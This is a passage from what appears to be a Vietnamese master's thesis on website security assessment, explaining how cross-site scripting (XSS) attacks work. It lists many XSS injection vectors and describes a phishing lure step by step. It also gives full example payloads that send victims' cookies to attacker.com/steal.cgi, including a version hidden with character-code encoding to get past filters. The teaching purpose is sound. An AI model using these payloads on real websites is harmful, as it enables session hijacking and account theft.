Phƣơng pháp tấn công xss

Một phần của tài liệu Luận văn thạc sĩ công nghệ thông tin Xây dựng công cụ đánh giá an toàn website (Trang 47 - 52)

5. CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN

5.2.Phƣơng pháp tấn công xss

Ứng dụng Web thƣờng lƣu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông tin mà ứng dụng lƣu trên đĩa cứng của ngƣời sử dụng. Nhƣng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi ngƣời dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie.

<a href="javas&#99;ript&#35;[code]"> <div onmouseover="[code]">

<img src="javascript:[code]"> <img dynsrc="javascript:[code]">

<input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]">

&<script>[code]</script> &{[code]};

<img src=&{[code]};>

<liên kết rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]">

<img src="mocha:[code]"> <img src="livescript:[code]">

<a href="about:<s&#99;ript>[code]</script>">

<meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">

<div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([liên kết to code]);">

<div style="binding: url([liên kết to code]);"> <div style="width: expression([code]);"> <style type="text/javascript">[code]</style>

<object classid="clsid:..." codebase="javascript:[code]"> <script>[code]</script>

<img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]">

Công việc đầu tiên của hacker là tìm trang đích để dụ ngƣời dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó.

Các bƣớc thực hiện XSS truyền thống:

Hình 3.3: Quá trình thực hiện XSS Tóm tắt các bƣớc thực hiện:

 Bƣớc 1: Hacker biết đƣợc ngƣời dùng đang sử dụng một ứng dụng Web có lỗ hổng XSS.

 Bƣớc 2: Ngƣời dùng nhận đƣợc 1 liên kết thông qua email hay trên chính trang Web (nhƣ trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thƣờng hacker khiến ngƣời dùng chú ý bằng những câu kích thích sự tò mò của ngƣời dùng nhƣ “ Kiểm tra tài khoản”, “Một phần thƣởng hấp dẫn đang chờ bạn”, …

 Bƣớc 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker.

 Bƣớc 4: Hacker tạo một chƣơng trình cgi (ở ví dụ bên dƣới là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

 Bƣớc 5: Sau khi nhận đƣợc thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của ngƣời dùng.

Ví dụ: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể thực hiện nhƣ sau:

Sau khi ngƣời dùng nhấp vào liên kết “Một phần thƣởng hấp dẫn đang

chờ bạn”, cookie trên máy nạn nhân sẽ bị đánh cắp và đó chính là tham số

truyền vào cho chƣơng trình steal.cgi của hacker

Vấn đề đặt ra là có thể ngƣời lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách lọc những kí tự đặc biệt nhƣ „, hay + (có thể tránh trƣờng hợp dùng dấu „ để thực hiện câu truy vấn SQL chẳng hạn)… Nhƣng hacker có thể lợi dụng mã hex thay cho những kí tự đặc biệt để tấn công.

Thay thế bằng những số hex cho những kí tự ASCII. Ví dụ: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do cument.location.replace('http://www.attacker.com/steal.cgi?'+docume nt.cookie);</script>">Một phần thƣởng hấp dẫn đang chờ bạn</a> </body>

</html>

http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286

http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F …

Sau đây là ví dụ trong cách dùng mã hex trong ứng dụng web:

<html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B=

String.fromCharCode(0x0061); u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u);</script>" onMouseOver="window.status=‟http://www.hotwired.lycos.com/index2.ht ml';return true"

onMouseOut="window.status='';return true">Một phần thƣởng hấp dẫn đang chờ bạn </a>

</html>

Một phần của tài liệu Luận văn thạc sĩ công nghệ thông tin Xây dựng công cụ đánh giá an toàn website (Trang 47 - 52)